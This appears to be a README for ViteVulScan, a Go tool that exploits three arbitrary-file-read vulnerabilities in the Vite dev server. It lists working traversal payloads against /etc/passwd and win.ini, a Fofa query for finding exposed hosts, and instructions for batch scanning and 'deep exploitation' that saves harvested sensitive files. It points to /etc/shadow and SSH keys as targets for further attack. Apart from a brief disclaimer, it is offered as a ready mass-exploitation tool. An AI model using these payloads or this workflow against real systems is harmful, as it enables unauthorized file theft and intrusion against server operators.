ViteVulScan

Vulnerability Introduction

This project covers 3 vulnerabilities: CVE-2025-30208, CVE-2025-31125, CVE-2025-31486. All are arbitrary file reading vulnerabilities in the Vite development server. These three vulnerabilities have broad coverage and are easy to exploit without restrictions.

Vulnerability POC:

CVE-2025-30208：

Windows: /@fs/C://Windows/win.ini?import&raw??

Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

The /@fs prefix can be omitted from the path.

Fofa Search Syntax:

body="/@vite/client"

Tool Usage Introduction

Features

1. Can integrate with Fofa for batch exploitation.
2. Parses the exact vulnerable path and performs deep exploitation.
3. Fully leverages Go's concurrency features, enabling rapid batch probing of a large number of assets in a short time.

Build Instructions

Go version: go 1.20 or later

Navigate to the project root directory

First, sync dependencies

go mod tidy

Then build the project

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

Run the script with ./ViteVulScan.

Of course, you can also run the project directly in the project root directory:

go run .

Configuration

The script supports integrating with Fofa to search for assets and perform batch detection.

To use Fofa, make sure the app.ini file is in the same directory as the compiled binary, and modify the app.ini file in the config directory. Fill in your own Fofa key in the fofakey field, and num is the approximate number of assets you intend to scan.

If you have a better Fofa search syntax for this vulnerability, you can modify the fofaQuery field yourself.

Command Line Argument Introduction

Usage of ./ViteVulScan:

Notes

1. When batch detecting all target URLs in a file, ensure each line contains one URL. The URL can be a full URL including http, or a domain name or IP, for example:
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. When using -fofa and -f parameters for detection, vulnerable assets will be automatically saved to a file in the current directory with the filename format "current timestamp.csv".
3. It supports exploitation on both Linux and Windows platforms. The dictionaries used are dict/linux_sensitive_path.txt and dict/windows_sensitive_path.txt respectively. If you have more sensitive paths, you can add them to the corresponding dictionary files.

Examples

Example 1: Integrating with Fofa for batch detection:

./ViteVulScan -fofa

After scanning, you will see a CSV file with successfully exploited URLs saved in the result directory, named with a timestamp:

Example 2: Deep exploitation of a vulnerable URL:

./ViteVulScan -u example.com -e

If "Exploitation successful" is displayed, check the result directory. There will be a directory named after the scanned URL. The contents of the scanned sensitive files are parsed into their original file format and saved to the corresponding paths, as shown below:

Taking the saved content in result/localhost:5173/etc/passwd as an example, the complete content of the sensitive information is preserved for further exploitation. (If /etc/shadow or the server's SSH private key can be read, further exploitation is possible.)

Disclaimer

This tool is only for security research and authorized testing. Do not use it for illegal purposes. The consequences of any unauthorized testing using this tool shall be borne by the user.

Updates

March 29 – Initial Release:

• Implemented asset collection via Fofa.
• Implemented batch verification using CVE-2025-30208.
• Added command line argument parsing.

April 1:

• Implemented deep exploitation functionality.

April 2:

• Added verification for the newly released CVE-2025-31125.

April 9:

• Fixed bugs in the Fofa module.
• Added concurrency support for fast batch probing of assets for vulnerabilities.
• Added verification for CVE-2025-31486.
• Modified the project file structure.